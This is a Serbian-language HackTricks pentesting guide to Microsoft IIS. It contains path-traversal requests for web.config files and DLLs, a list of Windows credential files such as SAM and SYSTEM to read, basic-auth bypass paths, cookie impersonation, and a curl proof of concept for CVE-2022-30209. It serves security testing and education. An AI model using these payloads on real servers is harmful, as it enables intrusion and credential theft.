15 KiB
IIS - Internet Information Services
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Testirajte ekstenzije izvršnih datoteka:
- asp
- aspx
- config
- php
Otkrivanje interne IP adrese
Na bilo kom IIS serveru gde dobijete 302, možete pokušati da uklonite zaglavlje Host i koristite HTTP/1.0, a unutar odgovora, zaglavlje Lokacija bi moglo da vas usmeri ka internoj IP adresi:
nc -v domain.com 80
openssl s_client -connect domain.com:443
Odgovor koji otkriva internu IP adresu:
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
Izvršavanje .config fajlova
Možete otpremiti .config fajlove i koristiti ih za izvršavanje koda. Jedan način je dodavanje koda na kraj fajla unutar HTML komentara: Preuzmite primer ovde
Više informacija i tehnike za iskorišćavanje ove ranjivosti ovde
IIS Otkrivanje Brute Force
Preuzmite listu koju sam kreirao:
{% file src="../../.gitbook/assets/iisfinal.txt" %}
Kreirana je spajanjem sadržaja sledećih lista:
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt
Koristite je bez dodavanja bilo kakvog nastavka, fajlovi koji ga zahtevaju već ga imaju.
Traversiranje Putanje
Otkrivanje izvornog koda
Proverite kompletan opis u: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
{% hint style="info" %}
Kao sažetak, postoji nekoliko web.config fajlova unutar foldera aplikacije sa referencama na "assemblyIdentity" fajlove i "namespaces". Sa ovim informacijama je moguće znati gde se nalaze izvršni fajlovi i preuzeti ih.
Iz preuzetih Dll fajlova takođe je moguće pronaći nove namespaces gde biste trebali pokušati pristupiti i dobiti web.config fajl kako biste pronašli nove namespaces i assemblyIdentity.
Takođe, fajlovi connectionstrings.config i global.asax mogu sadržati zanimljive informacije.\
{% endhint %}
U .Net MVC aplikacijama, fajl web.config igra ključnu ulogu specificiranjem svakog binarnog fajla na koji se aplikacija oslanja putem "assemblyIdentity" XML tagova.
Istraživanje Binarnih Fajlova
Primer pristupa fajlu web.config je prikazan ispod:
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
Ovaj zahtev otkriva različite postavke i zavisnosti, kao što su:
- Verzija EntityFramework-a
- AppSettings za web stranice, klijentsku validaciju i JavaScript
- Konfiguracije System.web za autentifikaciju i runtime
- Postavke modula System.webServer
- Veze sklopova za izvršavanje za brojne biblioteke poput Microsoft.Owin, Newtonsoft.Json i System.Web.Mvc
Ove postavke ukazuju da se određene datoteke, poput /bin/WebGrease.dll, nalaze unutar fascikle aplikacije /bin.
Datoteke u korenskom direktorijumu
Datoteke pronađene u korenskom direktorijumu, poput /global.asax i /connectionstrings.config (koji sadrži osetljive lozinke), su ključne za konfiguraciju i rad aplikacije.
Prostori imena i Web.Config
MVC aplikacije takođe definišu dodatne web.config datoteke za specifične prostore imena kako bi se izbegla ponovna deklaracija u svakoj datoteci, kao što je prikazano zahtevom za preuzimanje druge web.config datoteke:
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
Preuzimanje DLL-ova
Pomen o prilagođenom imenskom prostoru ukazuje na DLL nazvan "WebApplication1" koji se nalazi u /bin direktorijumu. Nakon toga, prikazan je zahtev za preuzimanje WebApplication1.dll fajla:
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
Ovo ukazuje na prisustvo drugih bitnih DLL-ova, poput System.Web.Mvc.dll i System.Web.Optimization.dll, u /bin direktorijumu.
U scenariju gde DLL uvozi prostor imena nazvan WebApplication1.Areas.Minded, napadač može zaključiti postojanje drugih web.config fajlova na predvidljivim putanjama, poput /ime-oblasti/Views/, koji sadrže specifične konfiguracije i reference ka drugim DLL-ovima u /bin folderu. Na primer, zahtev za /Minded/Views/web.config može otkriti konfiguracije i prostore imena koji ukazuju na prisustvo još jednog DLL-a, WebApplication1.AdditionalFeatures.dll.
Zajednički fajlovi
Sa ovde
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
HTTPAPI 2.0 404 Greška
Ako vidite grešku kao što je sledeća:
To znači da server nije primio tačno ime domena unutar zaglavlja Host.
Da biste pristupili veb stranici, možete pogledati posluženi SSL sertifikat i možda pronaći ime domena/poddomena tamo. Ako ga nema, možda ćete morati bruteforce VHosts dok ne pronađete tačan.
Stare ranjivosti IIS-a koje vredi istražiti
Microsoft IIS tilde karakter "~" Ranjivost/Funkcija - Otkrivanje kratkog imena datoteke/foldera
Možete pokušati enumerisati foldere i datoteke unutar svakog otkrivenog foldera (čak i ako zahteva osnovnu autentifikaciju) koristeći ovu tehniku.
Glavno ograničenje ove tehnike ako je server ranjiv je da može pronaći samo do prvih 6 slova imena svake datoteke/foldera i prvih 3 slova ekstenzije datoteka.
Možete koristiti https://github.com/irsdl/IIS-ShortName-Scanner da testirate ovu ranjivost:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
Originalno istraživanje: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
Takođe možete koristiti metasploit: use scanner/http/iis_shortname_scanner
Bypass osnovne autentifikacije
Bypass osnovne autentifikacije (IIS 7.5) pokušavajući pristupiti: /admin:$i30:$INDEX_ALLOCATION/admin.php
ili /admin::$INDEX_ALLOCATION/admin.php
Možete pokušati pomešati ovu ranjivost i prethodnu kako biste pronašli nove foldere i bypass-ovali autentifikaciju.
ASP.NET Trace.AXD omogućeno debagovanje
ASP.NET uključuje režim debagovanja, a njegova datoteka se zove trace.axd
.
Čuva veoma detaljan zapis svih zahteva upućenih aplikaciji tokom određenog vremenskog perioda.
Ove informacije uključuju udaljene IP adrese klijenata, ID-ove sesija, sve kolačiće zahteva i odgovora, fizičke putanje, informacije o izvornom kodu, a možda čak i korisnička imena i lozinke.
https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/
ASPXAUTH Kolačić
ASPXAUTH koristi sledeće informacije:
validationKey
(string): heksadecimalni ključ koji se koristi za validaciju potpisa.decryptionMethod
(string): (podrazumevano "AES").decryptionIV
(string): heksadecimalni inicijalizacioni vektor (podrazumevano vektor nula).decryptionKey
(string): heksadecimalni ključ koji se koristi za dešifrovanje.
Međutim, neki ljudi će koristiti podrazumevane vrednosti ovih parametara i koristiće kao kolačić email korisnika. Stoga, ako pronađete veb koji koristi istu platformu koja koristi ASPXAUTH kolačić i kreirate korisnika sa emailom korisnika kog želite da predstavljate na serveru pod napadom, možda ćete moći da koristite kolačić sa drugog servera na prvom i predstavljate korisnika.
Ovaj napad je uspeo u ovom izveštaju.
Bypass autentifikacije IIS-a sa keširanim lozinkama (CVE-2022-30209)
Ceo izveštaj ovde: Greška u kodu nije pravilno proveravala lozinku koju je dao korisnik, tako da će napadač čiji hash lozinke pogodi ključ koji već postoji u kešu moći da se prijavi kao taj korisnik.
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili da preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJATELJSTVO!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.